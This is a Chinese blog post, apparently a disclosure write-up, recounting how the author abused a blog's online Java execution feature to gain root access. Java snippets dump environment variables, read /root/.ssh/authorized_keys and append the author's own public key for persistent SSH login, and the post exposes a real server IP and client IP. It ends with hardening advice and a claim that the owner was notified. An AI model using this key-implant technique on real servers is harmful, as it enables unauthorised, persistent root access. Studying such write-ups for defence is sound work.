最近在逛博客时,无意中发现有个博客有一个可以在线执行Java代码的功能,这无疑可能是个非常大的安全隐患,之前有写过一篇文章,一样的方法,一样的过程
1. 试探性查看环境和权限
import java.util.*;
class Main {
public static void main(String[] args) throws Exception {
System.out.println(System.getenv());
System.out.println("hello world!");
}
}
通过执行System.getenv()
获取的环境变量信息如下
{PYENV_SHELL=bash, PATH=/www/server/nvm/versions/node/v14.17.1/bin:/root/.pyenv/shims:/root/.pyenv/bin:/usr/local/java/jdk1.8.0_311/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin, HISTSIZE=3000, JAVA_HOME=/usr/local/java/jdk1.8.0_311, LANG=en_US.UTF-8, XDG_SESSION_ID=606559, JRE_HOME=/usr/local/java/jdk1.8.0_311/jre, MAIL=/var/spool/mail/root, NVM_INC=/www/server/nvm/versions/node/v14.17.1/include/node, LOGNAME=root, PROMPT_COMMAND=history -a; history -a; , PWD=/root, HISTTIMEFORMAT=%d/%m/%y %T , _=/usr/local/java/jdk1.8.0_311/bin/java, NVM_CD_FLAGS=, LESSOPEN=||/usr/bin/lesspipe.sh %s, NVM_DIR=/www/server/nvm, SHELL=/bin/bash, SSH_CLIENT=120.229.210.238 25393 2299, PYENV_ROOT=/root/.pyenv, USER=root, CLASSPATH=.:/usr/local/java/jdk1.8.0_311/lib:/usr/local/java/jdk1.8.0_311/jre/lib, NSS_STRICT_NOFORK=DISABLED, SSH_CONNECTION=120.229.210.238 25393 10.0.20.8 2299, HOSTNAME=rawchen, XDG_RUNTIME_DIR=/run/user/0, NVM_BIN=/www/server/nvm/versions/node/v14.17.1/bin, SHLVL=2, HOME=/root}
划重点: 从path
、ssh_connection
等可以看出当前服务器为linux服务器,也应该感谢网站的曝光度不是很高吧,或没太多的人发现这个可以在线执行Java的功能。。。
从user
、logname
可以看出当前用户还是root,那么就更好进行下一步操作了!
ssh_connection
中还发现了2299
端口,那么接下来剩下知道服务器IP和密码信息了
获取登入密钥
- 先看看服务器有没有公钥信息
import java.nio.file.Files;
import java.nio.file.Paths;
public class Main
{
/*
这里面的内容全部是多行注释
Java语言真的很有趣,
*/
public static void main(String[] args) throws Exception
{
//这是一行简单的注释
//System.out.println("Hello World!");
System.out.println(Files.readAllLines(Paths.get("/root/.ssh/authorized_keys")));
//System.out.println("这行代码被注释了,将不会被编译、执行!");
}
}
看了之后,发现当前服务器用户并没有用密钥登陆的习惯,那么也进一步说明如果有人用密钥方式登入其服务器,其将更难发现有了陌生人的钥匙,即使如何修改root密码,拿着密钥的人均可以进入
- 本地生成密钥对
3. 将公钥信息写入到authorized_keys
文件中
import java.util.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.Path;
class Main {
public static void main(String[] args) throws Exception {
Path path = Paths.get("/root/.ssh/authorized_keys");
String str = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmN+a5mK91Q/MgqTggGxcgX2e4SNbQURPYnjcfZ7VEhgByShFnPTXr4dMXVsVx0ygshwnhQ2k8HXFVRuGB7TtFtqKqFLJx+wpO5sObv2CIxd55fFDcaos+Ma+b6U9cgOPuoB5Og976RXPnZg4gqnC2ICtDhmSIsEEY+yYc2ZvjRRkCHxUhSPQcNxwAxEBIK7xM2KYypPLq9KvpYgMtpMuLfqmFVndWoyDVMoW1ui//6M7htDG0rtg4eSH1hwsKMA8GlVdBIj3PiztD++E7XTV/ZuXTHsTveDugsZX6fZNg5hTF1CcRFl5WyMHzaVYILehdsLCONo21YcLSG1ad/S/T root@rawchen";
List<String> keys = Files.readAllLines(Paths.get("/root/.ssh/authorized_keys"));
keys.add(0,str);
Files.write(path, keys);
System.out.println(Files.readAllLines(path));
System.out.println("hello world!");
}
}
到此处已经将钥匙配好了,该找到了门,进行开门了
获得服务器ip等信息
-
获取ip信息
ping一下 域名 或 浏览器F12查看Remote Address得到服务器ip(这里域名在没用cdn的情况下才行)
实际得到的服务器ip:119.91.148.70
-
从env环境变量的输出可以看出ssh端口应该是2299,即使不知道端口,也可以通过扫描所有端口来进行尝试,看下ssh端口是否可以连接
登门拜访
至此已完全拿到root权限,想干啥干啥了(这可是违法的,不能乱来哦)
截止文章发布 2023年1月31日22:32:43,已经通知该站长进行了漏洞修复
如何避免本次安全问题
- 尽量不要直接用root用户执行有风险的web程序
- 可以使用docker镜像来执行程序,来进一步规避程序直接读取系统信息以及向系统写入信息
- 对可执行的代码进行白名单过滤,只允许执行哪一类的代码(不是很好把控建议采用提议1)
- 不要使用常用服务的默认端口(22、3306、6379、21、27017等),对外服务使用CDN,不直接暴露服务器ip
- 使用ip白名单,不允许任意ip远程连接服务器(但凡是重要系统都是不允许直接接入公网的,即使接入了,也只有指定ip可以接入服务器)
- 关注云服务报警,一般非常用ip登入服务器,云服务提供商会有短信和邮件预警,一旦收到这些通知,一定要尽快处理(建议使用腾讯的企业邮箱或qq邮箱,这样微信或qq可以及时进行邮件提醒,可将所有的其他邮箱的邮件都设置转发到你的qq邮箱中,这样就无需登录每个邮箱,及时收取到任何邮箱的邮件信息了)
/root/.ssh/authorized_keys
文件只设置只读权限,不允许有写入权限,想添加公钥信息,先手动添加写权限,添加后移除写权限- 在服务器中加入
/root/.ssh/authorized_keys
文件监控(crontab + mail),检测到有修改就立即邮件通知
Q.E.D.